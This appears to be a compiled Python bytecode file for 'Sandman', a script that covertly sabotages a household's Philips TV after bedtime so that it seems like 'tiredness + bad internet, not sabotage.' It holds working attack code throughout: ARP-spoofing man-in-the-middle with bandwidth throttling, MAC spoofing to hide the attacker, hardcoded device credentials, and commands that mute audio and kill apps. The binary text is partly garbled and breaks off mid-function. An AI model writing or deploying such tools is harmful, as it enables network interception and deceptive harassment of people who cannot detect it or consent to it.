
    i                       d Z ddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddlZddlZddlmc mZ  ej(                  d      ZdVdefdZdWdedededz  fd	ZdXdefd
ZdYdededz  fdZdZdZdZdZ dZ!dededededededz  fdZ"dededededz  fdZ#dededededz  fdZ$dede%dz  fdZ&dede%defdZ'dededefdZ(dedefdZ)dedefd Z*dede+dz  fd!Z,dZded"edefd#Z-ded$edefd%Z. G d& d'      Z/ G d( d)      Z0d[ded*e%d+efd,Z1d\ded-efd.Z2defd/Z3d0Z4d1Z5d2 Z6ded3edefd4Z7ded5efd6Z8dedefd7Z9ded8ed9e%fd:Z: G d; d<      Z;d= Z<	 	 d]ded>ed?eded@edAefdBZ=dVdede+fdCZ>dDedEe+defdFZ?dGedEe+de%fdHZ@dGedIe%dEe+deAfdJZBdGedEe+defdKZCd^dedLedMe+dedGef
dNZDdEe+defdOZEdEe+deFfdPZGd_dQedRedefdSZHdT ZIeJdUk(  r eI        yy)`u  Sandman — gradually make TV watching unpleasant after bedtime.

Uses UPnP DLNA + Chromecast APIs (no auth required on the Philips 55OLED708).
Multi-vector: audio degradation + video quality degradation + app instability.
Subtle enough that it feels like tiredness + bad internet, not sabotage.

Usage:
    python3 sandman.py                          # default: start at 22:30
    python3 sandman.py --start 23:00            # start at 11pm
    python3 sandman.py --tv 192.168.1.5         # different TV IP
    python3 sandman.py --gateway 192.168.1.1    # gateway for bandwidth throttle
    python3 sandman.py --no-throttle            # skip bandwidth throttling
    python3 sandman.py --dry-run                # just print actions, don't send

Requires for bandwidth throttling (optional, install once):
    pip install scapy      # for ARP spoofing (pure Python, no dsniff needed)
    sudo sysctl -w net.inet.ip.forwarding=1
    Nsandmanlog_dirc                    t         j                  t        j                         t        j                  dd      }t        j
                  t        j                        }|j                  t        j                         |j                  |       t         j                  |       | @t        j                  j                  t        j                  j                  t                    } t        j                  j!                  | d      }t        j"                  j%                  |ddd	      }|j                  t        j                         |j                  |       t         j                  |       t         j'                  d
| d       y)z6Configure logging with console + rotating file output.z'%(asctime)s [%(levelname)s] %(message)sz%Y-%m-%d %H:%M:%S)datefmtNzsandman.logi  P    zutf-8)maxBytesbackupCountencodingzLogging to z (5MB x 3 rotation))logsetLevelloggingDEBUG	FormatterStreamHandlersysstdoutINFOsetFormatter
addHandlerospathdirnameabspath__file__joinhandlersRotatingFileHandlerinfo)r   fmtchlog_pathfhs        /share/sandman.pysetup_loggingr$   *   s   LL


1#C 
		szz	*BKKOOCNN2 ''//"''//(";<ww||G]3H				-	-?G 
. 
B KKOOCNN2HH{8*$789    	interfacedry_runreturnc                 <   dt        d t        d      D              z  }|rt        j                  d|        |S 	 t	        j
                  dd| dgdd	       t        j                  d
       t	        j
                  dd| d|gdd	       t	        j
                  dd| dgdd	       t        j                  d       t        j                  d|        |S # t        $ r=}t        j                  d|        t	        j
                  dd| dgd       Y d}~yd}~ww xY w)zRandomize MAC address to hide MacBook as attack source.
    Requires: sudo. Disconnects WiFi briefly during change.
    Returns the new MAC, or None if failed.z02:%02x:%02x:%02x:%02x:%02xc              3   H   K   | ]  }t        j                  d d        yw)r      N)randomrandint).0_s     r#   	<genexpr>z randomize_mac.<locals>.<genexpr>K   s     3]T\qFNN1c4JT\s    "   z  [DRY] Would spoof MAC to networksetup-setairportpoweroffTcapture_outputtimeout   sudoifconfigetheronu     🎭 MAC spoofed to z MAC spoof failed: r6   N)
tupleranger   r   
subprocessruntimesleep	Exceptionwarning)r&   r'   new_maces       r#   randomize_macrH   G   s    ,e3]TYZ[T\3].]]G.wi89(:IuM&*A	7

1
IwH&*A	7 	(:ItL&*A	7

1)'34 )!-.(:ItL&*	,s   BC 	D3DDc                     	 t        j                  dd| dgdd       t        j                  d       t        j                  dd| dgdd       t        j                  d	       y
# t        $ r Y y
w xY w)zVRestore original MAC by cycling the interface (hardware MAC returns on reboot anyway).r2   r3   r4   Tr1   r5   r8   r<   u&     🎭 MAC restored (hardware default)N)r@   rA   rB   rC   r   r   rD   )r&   s    r#   restore_macrJ   f   sk    (:IuM&*A	7

1(:ItL&*A	79; s   A"A% %	A10A1r7   c           
         ddl }	 dt        |        d}|j                  |j                  |j                  |j                        }|j                  |j                  |j                  d       |j                  t        | d             |j                  |j                         d       	 	 |j                  d      \  }}|j                  d	
      }d|v sd|j                         v r|j                          |d   S R# |j                   $ r Y nw xY w|j                          n# t"        $ r Y nw xY wddl}d }t'        dd      D 	cg c]  }	d|	 	 nc c}	w }
}	|j(                  j+                  d      5 }|j(                  j-                  |
D ci c]  }|j/                  ||      | nc c}w c}      D ]!  }|j1                         }|s|c cddd       S  	 ddd       y# 1 sw Y   yxY w)ziFind the Philips TV on the network via SSDP multicast,
    falling back to JointSpace probe on known IPs.r   NzKM-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: z
ST: ssdp:all

   r   )z239.255.255.250il  i   replace)errorsPhilipsIntelSDKandroidc                     	 t         j                  j                  t         j                  j                  d|  d      dt	        d      j                               }|j                  dk(  r| S 	 y # t        $ r Y y w xY w)Nhttps://z:1926/6/systemrL   ssl)r7   context   )urllibrequesturlopenRequest
__import___create_unverified_contextstatusrD   )iprs     r#   probe_ipzdiscover_tv.<locals>.probe_ip   s    	&&&&"^'DE:e#4#O#O#Q ' A xx3	    		s   A*A/ /	A;:A;   z
192.168.1.   )max_workers)socketintAF_INET
SOCK_DGRAMIPPROTO_UDP
setsockopt
IPPROTO_IPIP_MULTICAST_TTL
settimeoutminsendtoencoderecvfromdecodelowercloser7   rD   concurrent.futuresr?   futuresThreadPoolExecutoras_completedsubmitresult)r7   _socketssdp_msgsockdataaddrresp
concurrentr_   i
candidatespoolr]   rx   s                 r#   discover_tvr   t   s     w<. ! 	 ~~goow/A/A7CVCVW**G,D,DaHGQ(HOO%'@A	!]]40
d{{){4$,	TZZ\0IJJL7N   		

  
 -2!RL9LqJqc"L9J9				.	.2	.	>$ ((555?@ZrT[[2&*Z@
F B	 
?	>
 
?  
? sa   B"D" )AC< ;C< <DD" DD" "	D.-D.E6G%F+
*"G%G%G%%G.i  z/upnp/control/RenderingControl1z/upnp/control/AVTransport1iH  z<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
            s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>{body}</s:Body>
</s:Envelope>tv_ipr   serviceaction
body_innerc                    d|  dt          | }t        j                  |      }dd| d| dd}t        j                  j                  ||j                         |d	      }	 t        j                  j                  |d
      5 }	|	j                         j                         cd d d        S # 1 sw Y   y xY w# t        $ r Y y w xY w)Nhttp://:)bodyztext/xml; charset="utf-8""#)Content-Type
SOAPActionPOST)r|   headersmethodr1   r7   )	UPNP_PORTSOAP_ENVELOPEformatrV   rW   rY   rn   rX   readrp   rD   )
r   r   r   r   r   urlr   r   reqr~   s
             r#   soap_requestr      s    E7!I;tf
-CZ0D3'!F81-G ..
 
 4;;='RX
 
YC^^##C#3t99;%%' 433 s0   #!B8 B,"	B8 ,B51B8 5B8 8	CCc                 (    t        | t        d||      S )zRenderingControl request.z/urn:schemas-upnp-org:service:RenderingControl:1)r   RENDERING_CONTROLr   r   r   s      r#   
rc_requestr      s    0I
, ,r%   c                 (    t        | t        d||      S )zAVTransport request.z*urn:schemas-upnp-org:service:AVTransport:1)r   AV_TRANSPORTr   s      r#   avt_requestr      s    |D
, ,r%   c                     d}t        | d|      }|y t        j                  d|      }|rt        |j	                  d            S d S )Nz<u:GetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1">
      <InstanceID>0</InstanceID><Channel>Master</Channel></u:GetVolume>	GetVolumez$<CurrentVolume>(\d+)</CurrentVolume>r8   )r   researchrd   group)r   r   r~   ms       r#   
get_volumer      sJ    KDe[$/D|
		94@A3qwwqz?)T)r%   volumec                 T    dt        dt        d|             d}t        | d|      d uS )Nz<u:SetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1">
      <InstanceID>0</InstanceID><Channel>Master</Channel>
      <DesiredVolume>r   d   z</DesiredVolume></u:SetVolume>	SetVolume)maxrl   r   )r   r   r   s      r#   
set_volumer      s<    !Sf-.//MQD e[$/t;;r%   mutec                 4    d|rdnd d}t        | d|      d uS )Nz<u:SetMute xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1">
      <InstanceID>0</InstanceID><Channel>Master</Channel>
      <DesiredMute>10z</DesiredMute></u:SetMute>SetMute)r   )r   r   r   s      r#   set_muter      s2    CS))CGD eY-T99r%   c                 N   	 d|  d}t        j                  ddi      j                         }t        j                  j                  ||dddi      }t        j                  j                  |d	
      5 }|j                  dk(  cddd       S # 1 sw Y   yxY w# t        $ r Y yw xY w)u   Try to turn off Ambilight via JointSpace API (port 1925, no auth for GET).
    POST may or may not require auth — worth trying.r   :1925/6/ambilight/powerpowerOffr   r   application/jsonr|   r   r   r   r   rU   NF	jsondumpsrn   rV   rW   rY   rX   r\   rD   r   r   r|   r   r~   s        r#   ambilight_offr      s    w56zz7E*+224nn$$StF.<>P-Q % S^^##C#3t;;#% 433 0   A1B 3B	B BB B 	B$#B$c                 N   	 d|  d}t        j                  ddi      j                         }t        j                  j                  ||dddi      }t        j                  j                  |d	
      5 }|j                  dk(  cddd       S # 1 sw Y   yxY w# t        $ r Y yw xY w)zRestore Ambilight.r   r   r   Onr   r   r   r   r   r   rU   NFr   r   s        r#   ambilight_onr      s    w56zz7D/*113nn$$StF.<>P-Q % S^^##C#3t;;#% 433 r   c                 2   	 d|  dt          d}t        j                  j                  |d      }t        j                  j	                  |d      5 }t        j                  |j                               cddd       S # 1 sw Y   yxY w# t        $ r Y yw xY w)	zGet Chromecast app status.r   r   z!/setup/eureka_info?options=detailGETr   r   r   N)		CAST_PORTrV   rW   rY   rX   r   loadsr   rD   )r   r   r   r~   s       r#   cast_get_statusr     s}    wa	{*KLnn$$S$7^^##C#3t::diik* 433 s0   AB
 #A>4	B
 >BB
 B
 
	BBapp_idc                    	 d|  dt          d| }t        j                  j                  |d      }t        j                  j	                  |d      5 }|j
                  dv cd	d	d	       S # 1 sw Y   y	xY w# t        $ r Y y
w xY w)zMKill a Chromecast app. CC1AD845 = default media receiver (Netflix uses this).r   r   z/apps/DELETEr   r1   r   )rU      NF)r   rV   rW   rY   rX   r\   rD   )r   r   r   r   r~   s        r#   cast_kill_appr     sz    wa	{&9nn$$S$:^^##C#3t;;*, 433 s0   AA7 A+!	A7 +A40A7 4A7 7	BBlevelc                 >    	 d|  dt          d}y# t        $ r Y yw xY w)z#Set Chromecast volume (0.0 to 1.0).r   r   z&/setup/assistant/set_night_mode_paramsF)r   rD   )r   r   r   s      r#   cast_set_volumer   %  s3    wa	{*PQ  s    	c                   f    e Zd ZdZddededefdZdefdZdeded	z  fd
Zd Z	d Z
defdZd Zy	)BandwidthThrottlerzThrottle TV's bandwidth via ARP spoofing (scapy) + macOS dummynet (pf/dnctl).

    Requires: pip install scapy, and running as root for pf/dnctl/raw sockets.
    r   
gateway_ipr&   c                     || _         || _        || _        d| _        d | _        d | _        t        j                         | _        d | _	        d | _
        y NF)r   r   r&   active
current_bw_spoof_thread	threadingEvent_stop_spoof_tv_mac_gw_macselfr   r   r&   s       r#   __init__zBandwidthThrottler.__init__8  sJ    
$"!$??,r%   r(   c                 X    	 ddl }t        j                         dk(  S # t        $ r Y yw xY w)z4Check if scapy is importable and we can run as root.r   NF)	scapy.allr   geteuidImportError)r   scapys     r#   is_availablezBandwidthThrottler.is_availableC  s-    	::<1$$ 		    	))r]   Nc                    ddl }t        j                  ddddd|gdd	
       t        j                  dd|gd      }|j                  j	                         }|j                  d||j                        }|r|j                  d      S ddlm	}m
}m}m}	 d|	_         | |d       ||      z  d| j                        \  }
}|
D ]  \  }}||   j                  c S  y)u   Resolve MAC address. Uses ping first (kernel ARP) then falls back to scapy.
        Ping-based resolution works across WiFi↔ethernet bridge where scapy broadcast may not.r   Nping-cr   z-t2Tr1   r5   arpz-nr=   O([\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2})r8   )ARPEthersrpconfzff:ff:ff:ff:ff:ffdst)pdstrL   )r7   iface)r   r@   rA   r   rp   r   Ir   r   r   r   r   r   verbr&   src)r   r]   _rerx   outputr   r   r   r   r   ansr/   rcvs                r#   _resolve_maczBandwidthThrottler._resolve_macK  s     	c4b9&*A	7b 1$G%%'JJikqsvsxsxy771:33	U23crlBt~~7QFAsu:>>! r%   c                    ddl m}m}m}m} d|_         || j                         |d| j                  | j                  | j                        z  } || j                         |d| j                  | j                  | j                        z  }| j                  j                         sN |||g| j                  d       | j                  j                  d       | j                  j                         sMy y )	Nr   r   r   sendpr   r   rL   )oppsrcr   hwdstFr   verboser8   )r   r   r   r  r   r   r   r   r   r   r   is_setr&   wait)r   r   r   r  r   	pkt_to_tv	pkt_to_gws          r#   _spoof_loopzBandwidthThrottler._spoof_loop`  s    55	t||,ADOO$**#||--	 t||,ADJJT__#||--	 ""))+9i(N!!!$ ""))+r%   c                    | j                   ry| j                  | j                        | _        | j                  | j                        | _        | j                  r| j
                  s1t        j                  d| j                   d| j
                   d       yt        j                  g dd       | j                  j                          t        j                  | j                  d      | _        | j                  j!                          d| _         t        j#                  d	| j                   d| j
                   d       y)
z4Start ARP spoofing via scapy in a background thread.Nz Could not resolve MACs (TV=, GW=))sysctl-wznet.inet.ip.forwarding=1Tr=   targetdaemonu     🔀 ARP spoof active (TV=)r   r   r   r   r   r   r   rE   r@   rA   r   clearr   Threadr  r   startr   r   s    r#   start_arp_spoofz"BandwidthThrottler.start_arp_spoofo  s    ;;((4((9||4<<KK6t||nE$,,WXYZC&*	, &--T5E5EdS  "/~U4<<.PQRSr%   kbitsc           
      <   | j                   s| j                          || _        t        j                  ddddd| dddgd	
       t        j                  g dd	
      j
                  j                         }d| j                   d| j                   d}|d| j                   d| j                   dz  }||z  }t        dd      5 }|j                  |       ddd       t        j                  g dd	
       t        j                  ddgd	
       y# 1 sw Y   <xY w)u   Set bandwidth limit for TV traffic using dummynet pipe.
        Uses macOS-correct 'dummynet in/out' syntax in main pf config.
        Throttles ALL protocols (TCP + UDP/QUIC) — YouTube uses QUIC over UDP.dnctlpiper   configbwzKbit/squeue5Tr=   )pfctlz-sruleszdummynet in quick on z from z to any pipe 1
zdummynet out quick on z from any to z pipe 1
/tmp/sandman_pf.confwN)r!  -fr#  r!  z-e)r   r  r   r@   rA   r   rp   r&   r   openwrite)r   r  existingpf_rulesfs        r#   set_bandwidthz BandwidthThrottler.set_bandwidth  s	    {{  " 	hv>N&6:	< >>":1577=vffh 	*4>>*:&L\],T^^,<M$**U^__H(#.!GGH / 	>&*	,t< /.s   DDc                 :   | j                   r=| j                  j                          | j                   j                  d       d| _         | j                  r| j
                  rddlm}m}m	}m
} d|_         || j                         |d| j                  | j                  | j
                  | j                        z  } || j
                         |d| j                  | j                  | j                  | j
                        z  }t        d	      D ].  } |||g| j                  d
       t!        j"                  d       0 t%        j&                  g dd       t%        j&                  g dd       t%        j&                  g dd       d
| _        d| _        y)z>Clean up: stop ARP spoof, remove throttle, restore ARP tables.r   r   Nr   r   r   rL   )r  r  r   hwsrcr  r1   Fr  皙?)r  r  deleter   Tr=   )r!  r%  z/etc/pf.conf)r  r  znet.inet.ip.forwarding=0)r   r   setr   r   r   r   r   r   r  r   r   r   r   r?   r&   rB   rC   r@   rA   r   r   )r   r   r   r  r   
restore_tv
restore_gwr/   s           r#   stopzBandwidthThrottler.stop  s:      "##A#.!%D <<DLL99DIDLL1tzz$(LLFFJ  DLL1$//$(LLFFJ 1Xz:.dnneT

3 
 	7M6tLCTXYr%   en0)__name__
__module____qualname____doc__strr   boolr   r   r  r  rd   r+  r3   r%   r#   r   r   2  s`    
	c 	s 	s 	d s sTz *%T$=3 =:r%   r   c            
           e Zd ZdZdZdZddededefdZd	efd
Z	d	e
fdZded	e
dz  fdZde
dede
ded	e
f
dZd Zd	efdZdefdZdefdZd Zd Zd Zy)LinuxBandwidthThrottlera,  Throttle TV bandwidth via ARP spoofing (raw sockets) + tc (iproute2).

    For Linux (Raspberry Pi / HA addon). Uses raw AF_PACKET sockets for ARP
    spoofing (no scapy needed), and tc HTB qdiscs for rate limiting.

    Requires: iproute2 (apk add iproute2), NET_ADMIN capability, host_network.
    end0z192.168.1.254Nr   r   r&   c                     || _         |xs | j                  | _        |xs | j                  | _        d| _        d | _        d | _        t        j                         | _
        d | _        d | _        d | _        d| _        y r   )r   
GATEWAY_IPr   IFACEr&   r   r   r   r   r   r   r   r   _our_mac_tc_appliedr   s       r#   r   z LinuxBandwidthThrottler.__init__  sk    
$7"0djj!$??, r%   r(   c                     	 t        j                  ddgdd      }|j                  dk(  xr t        j                         dk(  S # t
        t         j                  f$ r Y yw xY w)z<Check if tc (iproute2) is installed and we have permissions.tcz-VTr1   r5   r   F)r@   rA   
returncoder   r   FileNotFoundErrorTimeoutExpired)r   rx   s     r#   r   z$LinuxBandwidthThrottler.is_available  s[    	^^T4LqQF$$)?bjjla.??!:#<#<= 		s   AA A A c                    	 t        d| j                   d      5 }|j                         j                         }ddd       t        j                  j                  dd            S # 1 sw Y   .xY w# t        $ r Y yw xY w)z*Get MAC address of our interface via /sys.z/sys/class/net/z/addressNr    )r&  r&   r   stripbytesfromhexrM   rD   )r   r*  mac_strs      r#   _get_our_macz$LinuxBandwidthThrottler._get_our_mac  sn    	'7x@AQ&&(..* B==b!9:: BA  		s'   A3 A',A3 'A0,A3 3	A?>A?r]   c                 2   ddl }	 t        j                  ddddd|gdd	
       	 t        j                  ddd|gdd	
      }|j
                  j                         }|j                  d||j                        }|rCt        j                  |j                  d      j                  dd      j                  d            S 	 	 t        d      5 }|D ]e  }||v s|j                  d||j                        }|s(t        j                  |j                  d      j                  dd            c cddd       S  	 ddd       y# t        j                  t        f$ r Y 7w xY w# t        j                  t        f$ r Y w xY w# 1 sw Y   yxY w# t        $ r Y yw xY w)zCResolve IP to MAC via ping + ARP cache lookup. Returns raw 6 bytes.r   Nr   r   r   -Wr   Tr1   r5   r]   neighshowr   r8   r   rK     z/proc/net/arpzC([\da-f]{2}:[\da-f]{2}:[\da-f]{2}:[\da-f]{2}:[\da-f]{2}:[\da-f]{2}))r   r@   rA   rI  rH  r   rp   r   r   rM  rN  r   rM   zfillr&  rD   )r   r]   r   rx   r   r   r*  lines           r#   r   z$LinuxBandwidthThrottler._resolve_mac  s   	NNFD#tS"=*.;

	^^T7FB$?37DF]]))+F

bA }}QWWQZ%7%7R%@%F%Fr%JKK 

	o&!DTzJJb #%%) #(==1C1CC1L#MM '& ' 5 ))+<= 		 ))+<= 		 '   		sk   D? BE ?F
 

E>E>55E>*	F
 4E>6F
 ?EEE;:E;>FF
 F
 
	FFsrc_macsrc_ipdst_macdst_ipc                     ddl }ddl}||z   dz   }|j                  dddddd	      }|||j                  |      z   z  }|||j                  |      z   z  }||z   S )
z'Build a raw Ethernet + ARP reply frame.r   Ns   z!HHBBHr8   i         rL   )structrc   pack	inet_aton)	r   rX  rY  rZ  r[  r_  ry   ethr   s	            r#   _build_arp_replyz(LinuxBandwidthThrottler._build_arp_reply  sl     	)+-kk(Avq!Q7w**6222w**6222Syr%   c                 P   ddl }	 |j                  |j                  |j                  |j                  d            }|j	                  | j
                  df       | j                  | j                  | j                  | j                  | j                        }| j                  | j                  | j                  | j                  | j                        }	 | j                  j!                         sY	 |j#                  |       |j#                  |       | j                  j%                  d       | j                  j!                         sY|j'                          y# t        $ r"}t        j                  d|        Y d}~yd}~ww xY w# t        $ r Y w xY w# |j'                          w xY w)z$Send poisoned ARP replies every ~1s.r   Nr   z  ARP spoof socket failed: r8   )rc   	AF_PACKETSOCK_RAWhtonsbindr&   rD   r   rE   rc  rC  r   r   r   r   r   r  sendr  rr   )r   ry   r{   rG   r	  r
  s         r#   r  z#LinuxBandwidthThrottler._spoof_loop  sP    	>>'"3"3W5E5Ew}}U[G\]DIIt~~q)* ))MM4??DLL$**F	 ))MM4::t||T__F			&&--/IIi(IIi(   %%a( &&--/ JJL)  	KK5aS9:	  !  JJLsH   AE F -"F 5F 	FE<<F	FF FF F%c                    dgt        |      z   }	 t        j                  |dd      }|j                  dk7  rg|j                  j                         j                         }|r.d|vr*t        j                  ddj                  |       d	|        |j                  dk(  S y# t        t        j                  f$ r"}t        j                  d
|        Y d}~yd}~ww xY w)z*Run a tc command. Returns True on success.rF  T
   r5   r   zRTNETLINK answers: File existsz  tc cmd failed:      → z  tc command error: NF)listr@   rA   rG  stderrrp   rL  r   debugr   rH  rI  rE   )r   argscmdrx   ro  rG   s         r#   _run_tczLinuxBandwidthThrottler._run_tc4  s    ftDz!
	^^CbIF  A%--/557>fLII 1#((3-fXNO((A--!:#<#<= 	KK.qc23	s   BB   C9CCbandwidth_kbpsc           
      h   | j                         st        j                  d       y| j                         | _        | j                  | j                        | _        | j                  | j                        | _	        | j                  r| j                  r| j                  s>t        j                  d| j                   d| j                   d| j                   d       yt        j                  g dd	       | j                  j                          t        j                  | j                   dd
      | _        | j"                  j%                          | j'                  |       d| _        || _        d }t        j-                  d| d || j                         d || j                         d       y)zStart ARP spoof + tc throttle.u=     tc/iproute2 not available or not root — skipping throttleFz  MAC resolution failed (us=z, TV=r  u   ) — skipping throttle)r  r  znet.ipv4.ip_forward=1Tr=   z	arp-spoof)r  r  namec                 :    | rdj                  d | D              S dS )Nr   c              3   $   K   | ]  }|d  
 yw)02xNr<  )r.   xs     r#   r0   zBLinuxBandwidthThrottler.start.<locals>.<lambda>.<locals>.<genexpr>b  s     $;A#wZs   ?)r   )bs    r#   <lambda>z/LinuxBandwidthThrottler.start.<locals>.<lambda>b  s    qCHH$;$;;IcIr%   u     🔀 Linux throttle active: z	kbps (TV=r  )r   r   rE   rP  rC  r   r   r   r   r   r@   rA   r   r  r   r  r  r   r  	_apply_tcr   r   r   )r   rt  mac_fmts      r#   r  zLinuxBandwidthThrottler.startC  sm     "KKWX ))+((4((9}}DLLKK6t}}o F"ll^5>UW X 	@&*	, 	 &--T5E5Ed3>@  " 	~&(I1.1A B-.eGDLL4I3J!M 	Nr%   c                 l   | j                          | j                  }t        |      }| j                  ddd|dddddd	
       | j                  d
dd|ddddddd       | j                  d
dd|dddddd| dd| d       | j                  ddd|dddddddddd| j                   ddd       d| _        y)z:Set up HTB qdisc + filter to rate-limit traffic to the TV.qdiscadddevroothandle1:htbdefault10classparentclassid1:10rate1000mbit1:20kbitceilfilterprotocolr]   prior   u32matchr   /32flowidTN)_cleanup_tcr&   r:  rs  r   rD  )r   rt  r   r  s       r#   r~  z!LinuxBandwidthThrottler._apply_tcg  s     	  	WeUE68T5	& 	WeUE8T9fFJ	0 	WeUE8T9fFrd$KB4t	F 	XueUHdJPTS%$$**S?Qv	'  r%   c                 b    t        j                  dddd| j                  dgdd       d	| _        y
)z'Remove all tc rules from the interface.rF  r  delr  r  Trk  r5   FN)r@   rA   r&   rD  r  s    r#   r  z#LinuxBandwidthThrottler._cleanup_tc~  s.    gueT^^VL&*B	8 r%   c                    | j                   r| j                  syddl}	 |j                  |j                  |j                  |j                  d            }|j                  | j                  df       | j                  | j                  | j                  | j                   | j                        }| j                  | j                   | j                  | j                  | j                        }t        d      D ]9  }|j                  |       |j                  |       t        j                  d       ; |j                          y# t         $ r"}t"        j%                  d|        Y d}~yd}~ww xY w)z0Send correct ARP entries to restore the network.Nr   r   r1   r.  z  ARP restore failed: )r   r   rc   re  rf  rg  rh  r&   rc  r   r   r?   ri  rB   rC   rr   rD   r   rE   )r   ry   r{   r1  r2  r/   rG   s          r#   _restore_arpz$LinuxBandwidthThrottler._restore_arp  s   ||4<< 	6>>'"3"3W5E5Ew}}U[G\]DIIt~~q)*..doot||TZZIJ ..djj$,,IJ1X		*%		*%

3  JJL 	6KK0455	6s   D"E 	E-E((E-c                 f   | j                   r=| j                  j                          | j                   j                  d       d| _         | j                  r| j                          | j                          t        j                  g dd       d| _	        d| _
        t        j                  d       y)	zBClean up everything: stop ARP spoof, remove tc rules, restore ARP.r   r   N)r  r  znet.ipv4.ip_forward=0Tr=   Fu+     🔀 Linux throttle stopped, ARP restored)r   r   r0  r   rD  r  r  r@   rA   r   r   r   r   r  s    r#   r3  zLinuxBandwidthThrottler.stop  s       "##A#.!%D  	 	@&*	, >?r%   NN)r6  r7  r8  r9  rB  rA  r:  r   r;  r   rM  rP  r   rc  r  rs  rd   r  r~  r  r  r3  r<  r%   r#   r>  r>    s     E J!c !s !c !d e  s  ut|  D
 
s 
"'
14
9>
8 "C "H   .!6,@r%   r>  duration_msstylec                    |dk(  rt        t        j                  dd            D ]l  }t        | d       t	        j
                  t        j                  dd             t        | d       t	        j
                  t        j                  dd	             n y|d
k(  r?t        |       }|1t        | d       t	        j
                  |dz         t        | |       yyt        | d       t	        j
                  |dz         t        | d       y)u  Audio disruption with multiple styles.
    Styles:
      single  — one mute/unmute (classic dropout)
      stutter — rapid on-off-on-off (sounds like buffering/packet loss)
      fade    — drop volume to 3 for duration then restore (gradual, eerie)
    stutterr   r1   T皙?333333?F皙?333333?fadeN  )	r?   r,   r-   r   rB   rC   uniformr   r   )r   r  r  r/   origs        r#   audio_glitchr    s     	v~~a+,AUD!JJv~~c3/0UE"JJv~~dD12	 -
 
&% ua JJ{T)*ud#  	

;%&r%   off_durationc                 \    t        |       r!t        j                  |       t        |        yy)u   Toggle Ambilight off then on — subtle visual disturbance in peripheral vision.
    Only works if JointSpace POST is unauthenticated on port 1925.N)r   rB   rC   r   )r   r  s     r#   ambilight_glitchr    s%     U

< U r%   c                 4    t        | d       t        | d       y)uC   Kill the Netflix/media app via Chromecast — looks like app crash.CC1AD845CA5E8412N)r   )r   s    r#   netflix_crashr    s     %$%$r%   a1b2c3d4e5f6@8f075a1826341135dcd3a9dd2ed30a49c327d7e002399fbaefae28d8e1f9936fc                  X    	 ddl } ddlm}  |t        t              S # t
        $ r Y yw xY w)z"Get JointSpace digest auth object.r   N)HTTPDigestAuth)requestsrequests.authr  JOINTSPACE_DEVICE_IDJOINTSPACE_AUTH_KEYr   )r  r  s     r#   _js_authr    s.    024GHH r   key_namec                     	 ddl }ddl}|j                          |j                  d|  dd|it	               dd      }|j
                  d	k(  S # t        $ r Y yw xY w)
z9Send a key press via JointSpace. Returns True on success.r   NrR   z:1926/6/input/keykeyFr1   )r   authverifyr7   rU   )r  urllib3disable_warningspostr  status_coderD   )r   r  r  r  r^   s        r#   js_keyr    si       "MMHUG+<= %x0xz!&  3 }}## s   A
A 	AAendpointc                     	 ddl }ddl}|j                          |j                  d|  d| t	               dd      }|j
                  dk(  r|j                         S dS # t        $ r Y yw xY w)	z7GET a JointSpace endpoint. Returns parsed JSON or None.r   NrR   z:1926/6Fr   )r  r  r7   rU   )r  r  r  getr  r  r   rD   )r   r  r  r  r^   s        r#   js_getr    sp       "LL8E7'(<&j  C==C/qvvx9T9 s   AA A 	A*)A*c                    t        | d      }|r|j                  d      dk7  ryt        | d      }|sy|j                  di       j                  dd	      }d
|j                         v ry
d|j                         v ryd|j                         v sd|j                         v ryd|j                         v sd|j                         v ryd|j                         v s|d	k(  ryy)zDetect what program/app is active on the TV.
    Returns: 'youtube', 'netflix', 'prime', 'livetv', 'home', 'off', or 'unknown'.z/powerstate
powerstater   r4   z/activities/currentunknown	componentpackageNameNAyoutubenetflixamazonprimeplaytvchannelslivetvlauncherhome)r  r  rq   )r   r   activitypkgs       r#   detect_programr    s     5-(EEIIl+t3e23H
,,{B
'
+
+M4
@CCIIK	ciik	!	SYY[	 Gsyy{$:	SYY[	 J#))+$=	syy{	"cTkr%   programphasec                    |dk(  s|dk(  ryt        j                          d|z  k  r|dk  rt        j                  ddg      nt        j                  ddg      }t        j                  d	d
      }t        | ||       t        j                  j                         j                  d      }t        j                  d| d| d| d| d	       |dk(  rt        j                          d|z  k  rt        | d       t        j                  t        j                  dd             t        | d       t        j                  j                         j                  d      }t        j                  d| d| d       |dk\  rqt        j                          dk  rYt        | d       t        j                  j                         j                  d      }t        j                  d| d| d       n|dk(  rt        j                          d|z  k  rt        | d       t        j                  t        j                  dd             t        | d       t        j                  j                         j                  d      }t        j                  d| d| d       nV|dk(  rt        j                          d|z  k  r6t        | d       t        j                  t        j                  dd             t        | d       t        j                  j                         j                  d      }t        j                  d| d | d       n|d!k(  r|dk\  rt        j                          dk  rt        | d"       t        j                  t        j                  dd#             t        | d$       t        j                  j                         j                  d      }t        j                  d| d%| d       t        j                          d&|z  k  rUt        |        t        j                  j                         j                  d      }t        j                  d| d'| d       yy)(z;Program-aware disruption. Adapts tactics to what's playing.r4   r  Nr  rL   singler  r  ,  i  %H:%M:%S  [   ]   💥 Audio z (zms) []r  r  Pauser1   Playu    ]   ⏸️  YouTube pause/play [r^  r  Homeu   ]   🏠 Kicked to Home [r  r      u    ]   ⏸️  Netflix pause/play [r  u   ]   ⏸️  Prime pause/play [r  ChannelStepUprk  ChannelStepDownu   ]   📺 Channel flip [Q?u   ]   💡 Ambilight flicker [)r,   choicer-   r  datetimenowstrftimer   r   r  rB   rC   r  r  )r   r  r  r  durr  s         r#   program_disruptionr    so   %7f, }}u$8=
